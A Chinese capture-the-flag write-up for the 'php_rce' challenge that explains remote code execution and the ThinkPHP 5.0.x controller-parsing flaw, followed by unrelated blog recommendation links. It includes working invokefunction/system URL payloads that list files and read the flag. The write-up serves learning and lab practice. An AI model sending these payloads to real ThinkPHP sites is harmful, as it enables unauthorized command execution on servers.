6.攻防世界php_rce

进入题目页面如下

进入页面后也没有发现注入点,加上题目提示是php,还有rce

RCE(Remote Code Execution)远程代码执行漏洞

基本概念

远程代码执行指攻击者无需物理接触目标系统,通过网络等远程方式,向目标系统注入并执行恶意代码。成功利用该漏洞后,攻击者能像合法用户一样对目标系统进行操作,获取系统的控制权。

数据泄露:可以执行恶意代码后可访问系统中的敏感数据,如用户的个人信息、企业的商业机密、数据库中的重要数据等,造成数据泄露和隐私侵犯。

系统破坏:可以删除、篡改系统文件和数据,导致系统无法正常运行,甚至造成数据丢失,给企业带来巨大的经济损失。

网络攻击跳板:被控制的系统可作为攻击者进一步攻击其他系统的跳板,扩大攻击范围,危害整个网络的安全。

检测手段

静态代码分析:借助代码扫描工具对源代码进行全面分析,查找可能存在的安全隐患和漏洞模式。例如,使用 SonarQube、Checkmarx 等工具可以发现代码中的命令注入、代码注入等问题。

动态测试:利用漏洞扫描器对运行中的应用程序进行动态检测,模拟攻击者的行为,向应用程序发送各种恶意请求,检测是否存在远程代码执行漏洞。常见的漏洞扫描器有 Nessus、Acunetix 等

定义

远程代码执行(Remote Code Execution,简称 RCE)漏洞是一种严重的安全漏洞,攻击者能够通过网络远程向目标系统注入并执行恶意代码。一旦成功利用该漏洞,攻击者可以完全控制目标系统,执行任意命令,如获取系统权限、窃取敏感信息、安装后门程序等,对系统安全造成严重威胁。

攻击者可构造恶意的参数,如 :ls -l,执行额外的系统命令

ThinkPHP V5

ThinkPHP V5 是一款在国内广泛应用的 PHP 开发框架

ThinkPHP 5.0.x 系列漏洞

漏洞成因

该版本主要是因为框架对控制器名解析存在缺陷。ThinkPHP 5 采用了路由机制,当处理请求时会根据请求的 URL 解析出对应的控制器和方法。在某些情况下,对控制器名的解析没有进行严格的过滤和验证,攻击者可以通过构造特殊的 URL 请求,让框架加载并执行恶意的控制器代码。

利用方式

攻击者构造包含恶意代码的 URL 请求,发送给存在漏洞的应用。可以通过修改 URL 中的控制器名参数,使其指向一个恶意构造的类,这个类中包含可以执行任意代码的方法。当应用处理该请求时,就会触发漏洞执行恶意代码。

这里的 s 参数通常用于指定控制器和方法,通过构造特殊的值,尝试执行 phpinfo() 函数,若漏洞存在则会输出 PHP 信息。

构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=find / -name "flag"

发现了flag文件

再次构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=cat%20/flag

最后得到flag:flag{thinkphp5_rce}

相关推荐
DaLi Yao16 小时前
【无标题】
人工智能·安全
Alsn8616 小时前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院16 小时前
2026年网络安全
网络·安全·法律·法规·趋势·发展
酣大智16 小时前
ARP代理--工作原理
运维·网络·arp·arp代理
treesforest17 小时前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
shushangyun_17 小时前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化
2601_9618451517 小时前
粉笔行测题库|系统班|刷题
网络·百度·微信·微信公众平台·facebook·新浪微博
零零信安17 小时前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
程序猿阿伟17 小时前
《Chrome离线扩展安装的底层逻辑与场景落地指南》
服务器·网络·chrome
开发小能手-roy18 小时前
StringBuilder vs StringBuffer:2024年还需要线程安全字符串吗?
开发语言·python·安全